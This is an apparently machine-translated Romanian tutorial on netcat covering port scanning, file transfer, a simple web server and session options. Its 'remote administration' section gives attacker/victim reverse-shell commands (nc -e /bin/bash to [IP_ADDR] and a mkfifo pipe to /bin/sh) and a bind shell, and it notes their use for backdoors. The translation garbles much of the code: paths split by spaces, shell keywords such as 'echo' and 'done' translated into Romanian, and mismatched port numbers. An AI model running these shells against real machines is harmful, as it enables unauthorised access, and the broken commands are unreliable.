NetCat

Netcat - Swiss Army Knife Pro Utilizare

Netcat - Swiss Army Knife Pro Utilizare
Netcat este un utilitar care este utilizat pentru citirea și scrierea datelor pe porturile TCP și UDP. Poate fi folosit pentru o mulțime de lucruri interesante, cum ar fi transferul de fișiere, scanarea porturilor, redirecționarea porturilor, backdoor-ul computerului altcuiva, realizarea unui program de chat simplu, pentru depanarea rețelei și multe altele, de aceea este cunoscut sub numele de cuțit elvețian. De asemenea, este preinstalat cu aproape fiecare distribuție Linux în zilele noastre și este utilizat în principal de administratorii de rețea, DevOps și inginerii de securitate pentru sarcinile lor zilnice mici.

O scurtă diferență între netcat-traditional și netcat-openbsd

Există două pachete similare disponibile pentru netcat cu o ușoară diferență între ele.

netcat-tradițional include o opțiune suplimentară „-e” care poate fi utilizată pentru legarea unui program (i.e bash) cu netcat. Această caracteristică este foarte utilă în scopuri de administrare la distanță.

netcat-openbsd au un sprijin suplimentar pentru IPv6 și proxy.

Instalare Netcat

Deși netcat este preinstalat în majoritatea distribuțiilor Linux, dar dacă nu, poate fi instalat cu ușurință folosind următoarele comenzi.

Pentru pachetul tradițional,

[e-mail protejat]: ~ $ sudo apt-get install netcat-traditional

Pentru versiunea openbsd,

[e-mail protejat]: ~ $ sudo apt-get install netcat-openbsd

Netcat pentru Windows poate fi descărcat de aici https: // sourceforge.net / projects / nc110 / files /.

Acum vom explora câteva cazuri de utilizare interesante ale netcat

Scanarea porturilor folosind netcat

Pentru a căuta porturi deschise, utilizați opțiunea „-z”. Netcat va încerca să se conecteze la fiecare port fără a trimite date sau date foarte limitate în cazul UDP. Tastați următoarele

[e-mail protejat]: ~ $ nc -z -v hackme.org 80
... trage ..
hackme.org [217.78.1.155] 80 (http) deschis

Pentru a căuta o gamă de porturi, tastați

[protejat prin e-mail]: ~ $ nc -z -nv 192.168.100.72 20-80
(NECUNOSCUT) [192.168.100.72] 80 (http) deschis
(NECUNOSCUT) [192.168.100.72] 22 (ssh) deschis

Transfer de fișiere cu netcat

Un alt caz de utilizare util al netcat este transferul de fișiere între computere la distanță. Puteți trimite texte și fișiere binare de pe un PC pe alt PC. Vom încerca să trimitem un fișier „fișier.pdf ”de la PC Linux la PC Windows [IP 192.168.100.72] folosind netcat ca exemplu.

Pe aparatul Windows (receptor), tastați următoarele

C: \ Users> nc -nvlp 1337> fișier.pdf
Ascultând la [0.0.0.0] (familia 2, portul 1337)

Pe mașina Linux (expeditor), tastați următoarele

[e-mail protejat]: ~ $ nc -nv 192.168.100.72 1337 < file.pdf
Conexiune la 192.168.100.72 1337 port [tcp / *] a reușit!

Administrare la distanță cu netcat

Unul dintre cele mai bune cazuri de utilizare a netcat este administrarea de la distanță, ceea ce înseamnă că puteți controla computerul altcuiva folosind netcat. Netcat-traditional vine cu opțiunea „-e” care poate fi utilizată pentru a lega un program (i.e cmd.exe în Windows sau bash în Linux) cu un port, ceea ce înseamnă că netcat va acționa ca comunicator între program și computerul de la distanță. Netcat va primi comenzi de pe computerul de la distanță, se va executa pe sistemul local și va trimite rezultatele înapoi la computerul de la distanță. Această caracteristică este utilizată pe scară largă în scopuri rău intenționate, pentru a păstra ușile din spate în computerele și serverele. Această caracteristică este disponibilă doar în netcat-traditional, dar cu un mic truc, netcat-openbsd poate fi folosit și în același scop. Puteți utiliza două moduri de a controla computerul altora.

Într-o Reverse Shell conexiune, un atacator ascultă un port și așteaptă ca o conexiune să fie trimisă de la mașina victimei. Este folosit atunci când computerul victimei se află în spatele NAT sau nu are un IP public.

Pentru a obține un shell invers utilizând netcat, trebuie să ascultați pe un port folosind netcat. Tastați următoarele pe mașina atacatorului,

[e-mail protejat]: ~ $ nc -nvlp 1337
Ascultând la [0.0.0.0] (familia 2, portul 1337)

Pe aparatul victimei (dacă netcat-tradițional este instalat)

// înlocuiți „/ bin / bash” cu „cmd.exe ”în cazul Windows

[protejat prin e-mail]: ~ $ nc -nv [IP_ADDR] 1337 -e / bin / bash

Pentru netcat-openbsd (unde opțiunea „-e” nu este acceptată)

[e-mail protejat]: ~ $ rm / tmp / f; mkfifo / tmp / f; cat
/ tmp / f | / bin / sh -i 2> & 1 | nc [IP_ADDR] 1337> / tmp / f

În timp ce se afla într-un Bind Shell conexiune, atacatorul leagă un port de pe mașina victimei și se conectează la acel port folosind soclul clientului. Se folosește atunci când mașina atacatorului se află în spatele NAT sau nu are un IP public.

Pe mașina victimei, tastați

[protejat prin e-mail]: ~ $ nc -nlvp 1337 -e / bin / bash
ascultând pe [orice] 1337 ..

Acum, pentru a rula comenzi pe mașina victimă, tastați

[e-mail protejat]: ~ $ nc -nv 127.0.0.1 1337
Conexiune la 127.0.0.1 portul 1337 [tcp / *] a reușit!
$ id
uid = 1000 (azad) gid = 1000 (azad) grupuri = 1000 (azad), 4 (adm), 24 (cdrom), 27 (sudo),
30 (dip), 46 (plugdev), 118 (lpadmin), 129 (sambashare)

Server Web simplu folosind netcat

De asemenea, puteți face un alt truc simplu pentru a utiliza netcat ca server web cu o singură pagină. Acest server web ar fi foarte simplu, fără configurații speciale, și vom folosi pentru a trimite codul nostru HTML la browser.

[e-mail protejat]: ~ $ în timp ce este adevărat; echo -e "HTTP / 1.1 200 OK \ n \ n $ (ecou "


My Simple Webserver folosind netcat

")" | nc -nvlp 1337; Terminat
Ascultând la [0.0.0.0] (familia 2, portul 1337)

Acum, încercați să preluați pagina web folosind curl

[protejat prin e-mail]: ~ $ curl http: // 127.0.0.1: 1337 /

My Simple Webserver folosind netcat

Specificați Timeout pentru o sesiune netcat

Puteți specifica timeout-ul pentru o sesiune netcat folosind opțiunea „-w”. Netcat își va deconecta automat sesiunea după expirarea timpului specificat.

// -w [Timp în secunde]
[protejat prin e-mail]: ~ $ nc -w 40 -nvlp 1337
Ascultând la [0.0.0.0] (familia 2, portul 1234)

Continuați să ascultați chiar dacă Clientul închide conexiunea

În modul normal, serverul netcat se oprește și nu mai ascultă pe port atunci când un client închide conexiunea. Puteți menține serverul activ utilizând opțiunea „-k”

[protejat prin e-mail]: ~ $ nc -k -nlvp 1234
Ascultând la [0.0.0.0] (familia 2, portul 1234)

Concluzie

Netcat este un utilitar simplu, dar eficient, care poate fi utilizat pentru o mulțime de sarcini zilnice simple. Vine preinstalat în aproape toate sistemele de operare UNIX, cum ar fi sistemele de operare și poate fi utilizat pentru diverse sarcini, cum ar fi comunicarea între două PC-uri, transferul de fișiere și multe altele.

Best Linux Distros for Gaming in 2021
The Linux operating system has come a long way from its original, simple, server-based look. This OS has immensely improved in recent years and has no...
Cum să capturați și să transmiteți în flux sesiunea de jocuri pe Linux
În trecut, jocurile erau considerate doar un hobby, dar cu timpul industria jocurilor a cunoscut o creștere imensă în ceea ce privește tehnologia și n...
Cele mai bune jocuri pentru a juca cu urmărirea manuală
Oculus Quest a introdus recent marea idee de urmărire manuală fără controlere. Cu un număr din ce în ce mai mare de jocuri și activități care execută ...